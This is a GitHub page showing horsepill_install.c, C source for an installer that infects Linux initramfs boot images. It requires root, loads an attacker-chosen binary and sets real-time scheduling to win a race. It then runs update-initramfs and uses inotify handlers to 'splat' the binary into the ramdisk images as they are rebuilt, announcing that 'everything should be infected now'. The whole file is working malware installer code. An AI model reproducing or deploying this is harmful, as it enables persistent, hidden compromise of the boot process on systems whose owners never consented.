-
Notifications
You must be signed in to change notification settings - Fork 61
/
Copy pathhorsepill_install.c
169 lines (147 loc) · 3.14 KB
/
horsepill_install.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#define _GNU_SOURCE /* Needed to get O_LARGEFILE definition */
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdlib.h>
#include <poll.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <limits.h>
#include <signal.h>
#include "banner.h"
#include "infect.h"
int slurp_file(char *filename)
{
int rc = -1;
int fd;
struct stat buf;
rc = open(filename, O_RDONLY);
if (rc < 0) {
perror("open");
goto out;
}
fd = rc;
rc = fstat(fd, &buf);
if (rc < 0) {
perror("stat");
goto out;
}
exe.len = buf.st_size;
exe.buf = (unsigned char*)malloc(exe.len);
if (exe.buf == 0) {
perror("malloc");
goto out;
}
rc = read(fd, (void*)exe.buf, exe.len);
if (rc != exe.len) {
perror("read");
goto out;
}
close(fd);
rc = 0;
out:
return rc;
}
static void handle_usr1(int signum)
{
printf("everything should be infected now. Have a nice day\n");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv)
{
int rc;
struct pollfd pollfds[1];
struct sched_param sched = {
.sched_priority = 1
};
pid_t update_pid;
printf("%s\n", banner);
if (getuid() != 0) {
printf("you must run as root\n");
exit(EXIT_FAILURE);
}
if (argc < 2) {
printf("usage:\n\t%s: filename\n\nWhere filename is the binary to splat\n",
argv[0]);
exit(EXIT_FAILURE);
}
rc = slurp_file(argv[1]);
if (rc < 0) {
printf("couldn't open file\n");
exit(EXIT_FAILURE);
}
update_pid = fork();
if (update_pid < 0) {
perror("fork");
exit(EXIT_FAILURE);
} else if (update_pid == 0) {
/* child */
nice(10);
sleep(1);
printf("updating ramdisk images...\n");
fflush(stdout);
close(1);
close(2);
open("/dev/null", O_WRONLY);
open("/dev/null", O_RDWR);
system("sh -c 'update-initramfs -k all -u 2>&1 > /dev/null'");
printf("done!\n");
kill(getppid(), SIGUSR1);
exit(EXIT_SUCCESS);
}
signal(SIGUSR1, handle_usr1);
if (infect_init() < 0) {
perror("could not initialize structure");
exit(EXIT_FAILURE);
}
/* there's a race, and we're going to win it */
rc = sched_setscheduler(getpid(),
SCHED_FIFO | SCHED_RESET_ON_FORK,
&sched);
if (rc < 0) {
perror("could not set scheduler policy");
exit(EXIT_FAILURE);
}
pollfds[0].fd = infect_get_inotify_fd();
pollfds[0].events = POLLIN | POLLNVAL;
while (1) {
rc = poll(pollfds, 1, 10);
if (rc < 0) {
perror("error in poll");
exit(EXIT_FAILURE);
} else if (rc == 0) {
int status;
pid_t pid;
pid = waitpid(update_pid, &status, WNOHANG);
if (pid < 0) {
perror("waitpid");
exit(EXIT_FAILURE);
} else if (pid == update_pid) {
printf("everything should be infected now. Have a nice day\n");
exit(EXIT_SUCCESS);
}
} else if (pollfds[0].revents & POLLIN) {
/* Inotify events are available */
infect_handle_inotify();
}
}
return 0;
}
/*
* Editor modelines - https://www.wireshark.org/tools/modelines.html
*
* Local variables:
* c-basic-offset: 8
* tab-width: 8
* indent-tabs-mode: t
* End:
*
* vi: set shiftwidth=8 tabstop=8 noexpandtab:
* :indentSize=8:tabSize=8:noTabs=false:
*/